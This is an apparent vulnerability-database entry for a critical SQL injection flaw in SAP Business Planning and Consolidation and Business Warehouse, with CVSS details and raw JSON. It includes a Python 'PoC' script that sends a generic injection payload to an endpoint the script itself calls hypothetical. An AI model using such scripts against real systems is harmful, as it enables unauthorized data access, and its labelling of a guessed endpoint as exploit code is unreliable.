Security Vulnerability Report
中文
CVE-2026-27681 CVSS 9.9 CRITICAL

CVE-2026-27681

Published: 2026-04-14 00:16:07
Last Modified: 2026-04-17 15:18:17

Description

Due to insufficient authorization checks in SAP Business Planning and Consolidation and SAP Business Warehouse, an authenticated user can execute crafted SQL statements to read, modify, and delete database data. This leads to a high impact on the confidentiality, integrity, and availability of the system.

CVSS Details

CVSS Score
9.9
Severity
CRITICAL
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H

Configurations (Affected Products)

No configuration data available.

SAP Business Planning and Consolidation (Specific versions per Note 3719353)
SAP Business Warehouse (Specific versions per Note 3719353)

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests # Target URL configuration target_url = "https://<sap-server>/sap/bpc/" # PoC Payload for SQL Injection demonstration # Example payload attempts to bypass logic or extract data payload = "1' OR '1'='1" # Session setup session = requests.Session() # Step 1: Authentication with low-privilege user login_data = { "username": "low_priv_user", "password": "password" } print("[+] Attempting login...") login_resp = session.post(f"{target_url}/login", data=login_data) if login_resp.status_code == 200: print("[+] Login successful.") # Step 2: Send malicious request to vulnerable endpoint # The endpoint is hypothetical based on the vulnerability description vuln_endpoint = f"{target_url}/data/vulnerable_api" params = { "report_id": payload } print(f"[*] Sending payload to {vuln_endpoint}") exploit_resp = session.get(vuln_endpoint, params=params) # Step 3: Analyze response if "error" in exploit_resp.text or exploit_resp.status_code == 500: print("[!] Potential SQL Injection detected via error response.") else: print("[+] Request sent. Analyze response manually for data leakage.") else: print("[-] Login failed.")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-27681", "sourceIdentifier": "[email protected]", "published": "2026-04-14T00:16:06.560", "lastModified": "2026-04-17T15:18:16.507", "vulnStatus": "Awaiting Analysis", "cveTags": [], "descriptions": [{"lang": "en", "value": "Due to insufficient authorization checks in SAP Business Planning and Consolidation and SAP Business Warehouse, an authenticated user can execute crafted SQL statements to read, modify, and delete database data. This leads to a high impact on the confidentiality, integrity, and availability of the system."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H", "baseScore": 9.9, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.1, "impactScore": 6.0}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-89"}]}], "references": [{"url": "https://me.sap.com/notes/3719353", "source": "[email protected]"}, {"url": "https://url.sap/sapsecuritypatchday", "source": "[email protected]"}]}}